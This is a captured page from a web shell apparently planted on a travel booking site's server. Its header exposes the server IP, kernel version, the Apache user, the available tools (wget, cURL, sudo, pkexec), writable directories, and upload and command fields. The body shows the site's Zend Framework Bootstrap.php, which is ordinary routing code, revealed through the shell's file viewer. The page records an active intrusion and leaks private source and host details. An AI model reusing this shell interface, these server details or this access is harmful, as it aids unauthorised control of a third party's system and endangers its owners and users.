403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/maxurtrip/application/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/maxurtrip/application/Bootstrap.php
<?php
class Bootstrap extends Zend_Application_Bootstrap_Bootstrap {

    
          protected function _initCheckWWW(){
          // echo "<pre>";print_r($_SERVER);die;
           if(!preg_match('/www/', $_SERVER['HTTP_HOST']) || $_SERVER['REQUEST_SCHEME'] == 'http')
           {
               $REQUEST_URI = $_SERVER['REQUEST_URI'];
               header("Location: https://www.maxurtrip.com".$REQUEST_URI);
               exit;
           }
   
       }
    protected function _initAutoload() {
		
        
        $autoloader = new Zend_Application_Module_Autoloader(array(
            'namespace' => 'Travel',
            'basePath' => dirname(__FILE__),
        ));
        Zend_Controller_Action_HelperBroker::addPrefix('Helper');	
        Zend_Session::start();
        date_default_timezone_set("Asia/Kolkata"); 
    }
    protected function _initControllers() {
        $this->bootstrap('frontController');
        $this->_front = $this->getResource('frontController');
        $this->_front->addControllerDirectory(APPLICATION_PATH . '/admin/controllers', 'admin');
    }
        
    public function _initRoutes() {

        $CONST_DESTINATION_MASTER = unserialize(CONST_DESTINATION_MASTER);

        // start : get request here
            $this->bootstrap('frontController');
            $front = $this->getResource('frontController');
            $front->setRequest(new Zend_Controller_Request_Http());

            $des = ltrim($front->getRequest()->getRequestUri() , '/' );
        //  print_r($des); die('here');

        //  end : get request here 
            
            $routerArray = [];
            
            $routerArray[0] = new Zend_Controller_Router_Route(':cms', array('module' => 'cms', 'controller' => 'index', 'action' => 'index'));
//            $routerArray[1] = new Zend_Controller_Router_Route(':countryname/:name/:pkgid/:catid/:gtxid/:tourtype/', array('module' => 'detail', 'controller' => 'index', 'action' => 'index'));
            $routerArray[1] = new Zend_Controller_Router_Route('detail/:countryname/:name/', array('module' => 'detail', 'controller' => 'index', 'action' => 'index'));


              $routerArray[2] = new Zend_Controller_Router_Route('destination/:key', array('module' => 'default', 'controller' => 'index', 'action' => 'destination'));

            $routerArray[3] = new Zend_Controller_Router_Route('blog/', array('module' => 'blog', 'controller' => 'index', 'action' => 'index'));
            $routerArray[4] = new Zend_Controller_Router_Route('blog/:p', array('module' => 'blog', 'controller' => 'index', 'action' => 'blog-detail'));
            $routerArray[5] = new Zend_Controller_Router_Route('hotels/:name/', array('module' => 'hotels', 'controller' => 'search', 'action' => 'hotel-detail'));
            $routerArray[6] = new Zend_Controller_Router_Route('tour-destination/:des', array('module' => 'tours', 'controller' => 'package', 'action' => 'index'));
            $routerArray[7] = new Zend_Controller_Router_Route('customer/agencycustomerlogin/', array('module' => 'default', 'controller' => 'customer', 'action' => 'agencycustomerlogin'));
            $routerArray[8] = new Zend_Controller_Router_Route('customer/customerlogin/', array('module' => 'default', 'controller' => 'customer', 'action' => 'customerlogin'));
            $routerArray[9] = new Zend_Controller_Router_Route('users/', array('module' => 'users', 'controller' => 'index', 'action' => 'index'));
            $routerArray[10] = new Zend_Controller_Router_Route('detail/index/index-ajax-data', array('module' => 'detail', 'controller' => 'index', 'action' => 'index-ajax-data'));
            $routerArray[11] = new Zend_Controller_Router_Route('detail/index/get-hotel-detail', array('module' => 'detail', 'controller' => 'index', 'action' => 'get-hotel-detail'));

            $routerArray[12] = new Zend_Controller_Router_Route('agentlogin', array('module' => 'agentlogin', 'controller' => 'index', 'action' => 'index'));
            $routerArray[13] = new Zend_Controller_Router_Route('agentlogin/index/agentregistration', array('module' => 'agentlogin', 'controller' => 'index', 'action' => 'agentregistration'));
            $routerArray[14] = new Zend_Controller_Router_Route('admin', array('module' => 'admin', 'controller' => 'index', 'action' => 'index'));
            $routerArray[15] = new Zend_Controller_Router_Route('payment', array('module' => 'payment', 'controller' => 'index', 'action' => 'index'));
            $routerArray[16] = new Zend_Controller_Router_Route('travelogue', array('module' => 'travelogue', 'controller' => 'index', 'action' => 'index'));
            $routerArray[17] = new Zend_Controller_Router_Route('travelogue/:travid', array('module' => 'travelogue', 'controller' => 'index', 'action' => 'detail'));
            $routerArray[18] = new Zend_Controller_Router_Route('destination', array('module' => 'destination', 'controller' => 'index', 'action' => 'index'));
            $routerArray[19] = new Zend_Controller_Router_Route('detail/index/write-session', array('module' => 'detail', 'controller' => 'index', 'action' => 'write-session'));

            $routerArray[20] = new Zend_Controller_Router_Route('tour-destination/domestic-tour-packages.html', array('module' => 'destination', 'controller' => 'index', 'action' => 'domestic-destination'));
            $routerArray[21] = new Zend_Controller_Router_Route('tour-destination/international-tour-packages.html', array('module' => 'destination', 'controller' => 'index', 'action' => 'international-destination'));
            $routerArray[23] = new Zend_Controller_Router_Route('tour-destination/package/:getsearchdata', array('module' => 'tours', 'controller' => 'package', 'action' => 'getsearchdata'));
            $routerArray[24] = new Zend_Controller_Router_Route('tour-destination/category/:cat', array('module' => 'tours', 'controller' => 'package', 'action' => 'index'));

		    $routerArray[25] = new Zend_Controller_Router_Route('thanks.html', array('module' => 'default', 'controller' => 'index', 'action' => 'thanks'));
		    $routerArray[26] = new Zend_Controller_Router_Route('deals', array('module' => 'default', 'controller' => 'index', 'action' => 'deals'));
            $routerArray[27] = new Zend_Controller_Router_Route('activities/:act', array('module' => 'tours', 'controller' => 'activity', 'action' => 'index'));
            $routerArray[28] = new Zend_Controller_Router_Route('activities/:des/:actname', array('module' => 'activities', 'controller' => 'index', 'action' => 'index'));
            $routerArray[29] = new Zend_Controller_Router_Route('offer.html', array('module' => 'default', 'controller' => 'index', 'action' => 'offer'));
            $routerArray[30] = new Zend_Controller_Router_Route('visa', array('module' => 'visa', 'controller' => 'index', 'action' => 'index'));
            $routerArray[31] = new Zend_Controller_Router_Route('visa/:desname', array('module' => 'visa', 'controller' => 'visa', 'action' => 'index'));
            $routerArray[32] = new Zend_Controller_Router_Route('visa/:desvisa/:visaname', array('module' => 'visa', 'controller' => 'visa', 'action' => 'visa-details'));
            $routerArray[33] = new Zend_Controller_Router_Route('activity', array('module' => 'activities', 'controller' => 'index', 'action' => 'home'));

             /**======= Flight route  ========***/
            $routerArray[34] = new Zend_Controller_Router_Route('flight', array('module' => 'default', 'controller' => 'flight', 'action' => 'index'));
            $routerArray[35] = new Zend_Controller_Router_Route('flight/:flight-search', array('module' => 'default', 'controller' => 'flight', 'action' => 'flight-search'));
            $routerArray[36] = new Zend_Controller_Router_Route('flight/getflightsearch', array('module' => 'default', 'controller' => 'flight', 'action' => 'getflightsearch'));
            $routerArray[37] = new Zend_Controller_Router_Route('flight/flightsearchdata', array('module' => 'default', 'controller' => 'flight', 'action' => 'flightsearchdata'));
            $routerArray[38] = new Zend_Controller_Router_Route('flight/getflightfarerules', array('module' => 'default', 'controller' => 'flight', 'action' => 'getflightfarerules'));
            $routerArray[39] = new Zend_Controller_Router_Route('flight/book-noow', array('module' => 'default', 'controller' => 'flight', 'action' => 'book-noow'));
            $routerArray[40] = new Zend_Controller_Router_Route('flight/review/:traceId', array('module' => 'default', 'controller' => 'flight', 'action' => 'review'));
            $routerArray[41] = new Zend_Controller_Router_Route('flight/travellers/:traceId', array('module' => 'default', 'controller' => 'flight', 'action' => 'travellers'));
            $routerArray[42] = new Zend_Controller_Router_Route('flight/searchcutomer', array('module' => 'default', 'controller' => 'flight', 'action' => 'searchcutomer'));
            $routerArray[43] = new Zend_Controller_Router_Route('flight/save-passenger-details', array('module' => 'default', 'controller' => 'flight', 'action' => 'save-passenger-details'));
            $routerArray[44] = new Zend_Controller_Router_Route('flight/add-onn-service/:traceId', array('module' => 'default', 'controller' => 'flight', 'action' => 'add-onn-service'));
            $routerArray[45] = new Zend_Controller_Router_Route('flight/load-add-ons', array('module' => 'default', 'controller' => 'flight', 'action' => 'load-add-ons'));
            $routerArray[46] = new Zend_Controller_Router_Route('flight/getflightfarequote', array('module' => 'default', 'controller' => 'flight', 'action' => 'getflightfarequote'));
            $routerArray[47] = new Zend_Controller_Router_Route('flight/continue-accept', array('module' => 'default', 'controller' => 'flight', 'action' => 'continue-accept'));
            $routerArray[48] = new Zend_Controller_Router_Route('flight/updatefare', array('module' => 'default', 'controller' => 'flight', 'action' => 'updatefare'));
            $routerArray[49] = new Zend_Controller_Router_Route('flight/book-flight/:traceId/:code', array('module' => 'default', 'controller' => 'flight', 'action' => 'book-flight'));
            $routerArray[50] = new Zend_Controller_Router_Route('flight/booking-confirmed', array('module' => 'default', 'controller' => 'flight', 'action' => 'booking-confirmed'));
            $routerArray[51] = new Zend_Controller_Router_Route('flight/pay-now/:traceId', array('module' => 'default', 'controller' => 'flight', 'action' => 'pay-now'));
            $routerArray[52] = new Zend_Controller_Router_Route('flight/check-payment', array('module' => 'default', 'controller' => 'flight', 'action' => 'check-payment'));
            $routerArray[53] = new Zend_Controller_Router_Route('flight/e-ticket/:bookingId', array('module' => 'default', 'controller' => 'flight', 'action' => 'e-ticket'));
            $routerArray[54] = new Zend_Controller_Router_Route('flight/invoice/:bookingId', array('module' => 'default', 'controller' => 'flight', 'action' => 'invoice'));
            $routerArray[55] = new Zend_Controller_Router_Route('flight/viewmore', array('module' => 'default', 'controller' => 'flight', 'action' => 'viewmore'));
            $routerArray[56] = new Zend_Controller_Router_Route('flight/view-details', array('module' => 'default', 'controller' => 'flight', 'action' => 'view-details'));
            $routerArray[57] = new Zend_Controller_Router_Route('flight/view-details-pending', array('module' => 'default', 'controller' => 'flight', 'action' => 'view-details-pending'));
            $routerArray[58] = new Zend_Controller_Router_Route('flight/cancel-ticket/:bookingId', array('module' => 'default', 'controller' => 'flight', 'action' => 'cancel-ticket'));
            $routerArray[59] = new Zend_Controller_Router_Route('flight/amendment-details', array('module' => 'default', 'controller' => 'flight', 'action' => 'amendment-details'));
            $routerArray[60] = new Zend_Controller_Router_Route('flight/removebaggage', array('module' => 'default', 'controller' => 'flight', 'action' => 'removebaggage'));
            $routerArray[61] = new Zend_Controller_Router_Route('flight/submit-amendment/:bookingId', array('module' => 'default', 'controller' => 'flight', 'action' => 'submit-amendment'));
            $routerArray[62] = new Zend_Controller_Router_Route('car/search-results/:TraceId', array('module' => 'car', 'controller' => 'index', 'action' => 'search-results'));
            $routerArray[63] = new Zend_Controller_Router_Route('customer/google-authentication', array('module' => 'default', 'controller' => 'customer', 'action' => 'google-authentication'));
            $routerArray[64] = new Zend_Controller_Router_Route('customer/tripee-register', array('module' => 'default', 'controller' => 'customer', 'action' => 'tripee-register'));

            $routerArray[65] = new Zend_Controller_Router_Route('flight/seatmap', array('module' => 'default', 'controller' => 'flight', 'action' => 'seatmap'));
            $routerArray[66] = new Zend_Controller_Router_Route('flight/continuewithseatmap', array('module' => 'default', 'controller' => 'flight', 'action' => 'continuewithseatmap'));
            
            
            $routerArray[67] = new Zend_Controller_Router_Route('flight/getseatpage', array('module' => 'default', 'controller' => 'flight', 'action' => 'getseatpage'));
            $routerArray[68] = new Zend_Controller_Router_Route('flight/save-gst-details', array('module' => 'default', 'controller' => 'flight', 'action' => 'save-gst-details'));
            
            $routerArray[69] = new Zend_Controller_Router_Route('car/car-booking', array('module' => 'car', 'controller' => 'index', 'action' => 'car-booking'));
            $routerArray[70] = new Zend_Controller_Router_Route('flight/payment-failed/:TraceId', array('module' => 'default', 'controller' => 'flight', 'action' => 'payment-failed'));
            $routerArray[71] = new Zend_Controller_Router_Route('car/booking-cancel', array('module' => 'car', 'controller' => 'index', 'action' => 'booking-cancel'));
            $routerArray[72] = new Zend_Controller_Router_Route('car/booking-confirm', array('module' => 'car', 'controller' => 'index', 'action' => 'booking-confirm'));
            $routerArray[73] = new Zend_Controller_Router_Route('car/pay-now/', array('module' => 'car', 'controller' => 'index', 'action' => 'pay-now'));
            $routerArray[74] = new Zend_Controller_Router_Route('car/check-payment/', array('module' => 'car', 'controller' => 'index', 'action' => 'check-payment'));
            $routerArray[75] = new Zend_Controller_Router_Route('car/search-cutomer/', array('module' => 'car', 'controller' => 'index', 'action' => 'search-cutomer'));
            $routerArray[76] = new Zend_Controller_Router_Route('flight/getsetcity/', array('module' => 'default', 'controller' => 'flight', 'action' => 'getsetcity'));
            $routerArray[77] = new Zend_Controller_Router_Route('car/', array('module' => 'car', 'controller' => 'index', 'action' => 'index'));
            $routerArray[78] = new Zend_Controller_Router_Route('car/save-passenger-details', array('module' => 'car', 'controller' => 'index', 'action' => 'save-passenger-details'));
			   /*   HOTELS     */
		  $routerArray[79] = new Zend_Controller_Router_Route('hotel/hotelsearchdata', array('module' => 'hotels', 'controller' => 'index', 'action' => 'hotelsearchdata'));
          $routerArray[80] = new Zend_Controller_Router_Route('hotel/hotel-booking/:bookingId', array('module' => 'hotels', 'controller' => 'index', 'action' => 'hotel-booking'));
          $routerArray[81] = new Zend_Controller_Router_Route('hotel/hotel-review/:bookingId', array('module' => 'hotels', 'controller' => 'index', 'action' => 'hotel-review'));
          $routerArray[82] = new Zend_Controller_Router_Route('hotel/hotel-checkout/:bookingId/:code', array('module' => 'hotels', 'controller' => 'index', 'action' => 'hotel-checkout'));
          $routerArray[83] = new Zend_Controller_Router_Route('hotel/hotel-cancelation-plolicy', array('module' => 'hotels', 'controller' => 'index', 'action' => 'hotel-cancelation-plolicy'));
          $routerArray[84] = new Zend_Controller_Router_Route('hotel/hotel-travellers/:bookingId', array('module' => 'hotels', 'controller' => 'index', 'action' => 'hotel-travellers'));
          $routerArray[85] = new Zend_Controller_Router_Route('hotel/pay-now/:bookingId', array('module' => 'hotels', 'controller' => 'index', 'action' => 'pay-now'));
          $routerArray[86] = new Zend_Controller_Router_Route('hotel/check-payment', array('module' => 'hotels', 'controller' => 'index', 'action' => 'check-payment'));
          $routerArray[87] = new Zend_Controller_Router_Route('hotel/generate-search-id', array('module' => 'hotels', 'controller' => 'index', 'action' => 'generate-search-id'));
          $routerArray[88] = new Zend_Controller_Router_Route('hotel/get-hotels-list', array('module' => 'hotels', 'controller' => 'index', 'action' => 'get-hotels-list'));
          $routerArray[89] = new Zend_Controller_Router_Route('hotel/booking-confirm/:bookingId', array('module' => 'hotels', 'controller' => 'index', 'action' => 'booking-confirm'));
          $routerArray[90] = new Zend_Controller_Router_Route('hotel/review-hotel', array('module' => 'hotels', 'controller' => 'index', 'action' => 'review-hotel'));
          $routerArray[91] = new Zend_Controller_Router_Route('hotel/e-ticket/:traceId', array('module' => 'hotels', 'controller' => 'index', 'action' => 'e-ticket'));
          $routerArray[92] = new Zend_Controller_Router_Route('hotel/invoice/:traceId', array('module' => 'hotels', 'controller' => 'index', 'action' => 'invoice'));
          $routerArray[93] = new Zend_Controller_Router_Route('hotel/payment-failed/:TraceId', array('module' => 'hotels', 'controller' => 'index', 'action' => 'payment-failed'));
          $routerArray[94] = new Zend_Controller_Router_Route('hotel/hotel-city', array('module' => 'hotels', 'controller' => 'index', 'action' => 'hotel-city'));
          $routerArray[95] = new Zend_Controller_Router_Route('hotel/hotel-view-map/:HotelTraceId/:traceId', array('module' => 'hotels', 'controller' => 'index', 'action' => 'hotel-view-map'));
          $routerArray[96] = new Zend_Controller_Router_Route('hotel', array('module' => 'hotels', 'controller' => 'index', 'action' => 'index'));
          $routerArray[97] = new Zend_Controller_Router_Route('hotel/search-results', array('module' => 'hotels', 'controller' => 'index', 'action' => 'search-results'));
            /* Offers */
		$routerArray[98] = new Zend_Controller_Router_Route('offers', array('module' => 'default', 'controller' => 'index', 'action' => 'offers'));
		/* Holidays */
		$routerArray[99] = new Zend_Controller_Router_Route('holidays', array('module' => 'holidays', 'controller' => 'index', 'action' => 'index'));
          $routerArray[100] = new Zend_Controller_Router_Route('my-bookings', array('module' => 'default', 'controller' => 'index', 'action' => 'my-bookings'));
		  $routerArray[101] = new Zend_Controller_Router_Route('flight/makepayment', array('module' => 'default', 'controller' => 'flight', 'action' => 'makepayment'));
            
            $router = Zend_Controller_Front::getInstance()->getRouter();
			$router->addRoutes( $routerArray );
			$controller = Zend_Controller_Front::getInstance();
			$controller->setRouter($router);
    }
    
    
    protected function _initCache() {
        
        Zend_Controller_Front::getInstance()->setParam('disableOutputBuffering', true);
        
        $frontend= array(
            'lifetime' => 7200,
            'automatic_serialization' => true
        );

        $backend= array(
            'cache_dir' => APPLICATION_PATH . '/../cache',
        );
    
        $cache = Zend_Cache::factory('core',
            'File',
            $frontend,
            $backend
        );
        //Zend_Registry::set('cache',$cache);
    }
  
    
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit